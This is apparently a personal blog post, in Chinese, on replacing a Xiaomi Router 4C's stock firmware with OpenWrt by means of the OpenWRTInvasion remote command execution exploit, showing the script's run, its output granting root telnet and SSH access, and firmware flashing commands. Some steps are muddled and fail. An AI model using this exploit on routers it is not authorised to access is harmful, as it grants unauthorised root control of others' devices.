

OpenWrt 入侵小米路由器 4C

这是我第三次尝试安装 OpenWrt。第一次是在 2019 年，当时我使用 UART 端口连接。第二次是在 2023 年，我使用了类似于这里描述的远程方法。

漏洞代码可以在 <https://github.com/acecelia/OpenWRTInvasion> 找到。

首先，安装要求：

```
pip install -r requirements.txt --break-system-packages
```

运行漏洞代码后，可以通过类似于以下的 URL 访问路由器的 Web 界面（stok 值会有所不同）：

```
http://192.168.1.28/cgi-bin/luci/;stok=fe9b14c5c4dee48709fbdf00e048d5ec/web/home
```

```
lzwjava@anonymous:~/OpenWRTInvasion% python remote_command_execution_vulnerability.py
```

```
Router IP address [press enter for using the default 'miwifi.com']: 192.168.1.28
```

```
Enter router admin password: ...
```

```
There two options to provide the files needed for invasion:
```

1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`.
2. Download needed files from remote github repository. (choose this option only if github is accessable in)

```
Which option do you prefer? (default: 1)1
```

```
*****
```

```
router_ip_address: 192.168.1.28
```

```
stok: 08f4f22fed20b94580cb8e70703c941c
```

```
file provider: local file server
```

```
*****
```

```
start uploading config file...
```

```
start exec command...
```

```
local file server is runing on 0.0.0.0:63067. root='script_tools'
```

```
local file server is getting 'busybox-mipsel' for 192.168.1.28.
```

```
local file server is getting 'dropbearStaticMipsel.tar.bz2' for 192.168.1.28.
```

```
done! Now you can connect to the router using several options: (user: root, password: root)
```

```
* telnet 192.168.1.28
```

```
* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -c 3des-cbc -o UserKnownHostsFile=/dev/null
```

```
* ftp: using a program like cyberduck
```

```
root@XiaoQiang:/tmp# wget "https://downloads.openwrt.org/releases/24.10.0/targets/ramips/mt76x8/openwrt-24.10.0-ramips-mt76x8-2023-09-19-19-10-19.797990_ade.bin"
```

```
wget: not an http or ftp url: https://downloads.openwrt.org/releases/24.10.0/targets/ramips/mt76x8/openwrt-24.10.0-ramips-mt76x8-2023-09-19-19-10-19.797990_ade.bin
```

```
scp -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -c 3des-cbc openwrt-24.10.0-ramips-mt76x8-2023-09-19-19-10-19.797990_ade.bin user@192.168.1.28:/tmp
```

```
scp: Connection closed
```

```
cat openwrt-24.10.0-ramips-mt76x8-xiaomi_mi-router-4c-squashfs-sysupgrade.bin | ssh -oKexAlgorithms=+diffie-hellman-group1-sha512 root@192.168.1.1
```

```
root@XiaoQiang:/tmp# ls
2541.bootcheck.log
TZ
appStoreRule.json
arrays
authenfailed-cache
busybox
daemon
datalist
dropbear
dropbear.tar.bz2
etc
ftpd
lock
log
logexec
luci-indexcache
luci-nonce
luci-sessions
messages
miqos.lock
mnt
mt76xx2.sh.log
network.env
nginx_check.log
ntp.status
openwrt-24.10.0-ramips-mt76x8-xiaomi_mi-router-4c-squashfs-sysupgrade.bin
ouï
rc.done
rc.timing
resolv.conf
resolv.conf.auto
root
rr
run
script.sh
speedtest_urls.xml
spool
startscene_crontab.lua.PID
stat_points_privacy.log
stat_points_rom.log
state
sysapihttpd
sysapihttpdconf
sysinfo
syslog-ng.ctl
syslog-ng.pid
taskmonitor
uci2dat_mt7628.log
uploadfiles
upnp.leases
web_config_list
wifi_analysis.log
```

```
root@XiaoQiang:/tmp# mtd -r write openwrt-24.10.0-ramips-mt76x8-xiaomi_mi-router-4c-squashfs-sysupgrade.bin OS1
Unlocking OS1 ...
```

```
Writing from openwrt-24.10.0-ramips-mt76x8-xiaomi_mi-router-4c-squashfs-sysupgrade.bin to OS1 ... [w]
```

通过有线连接连接到路由器。然后可以通过 192.168.1.1 访问 Web 界面，或者通过运行 `ssh root@192.168.1.1` 使用 SSH。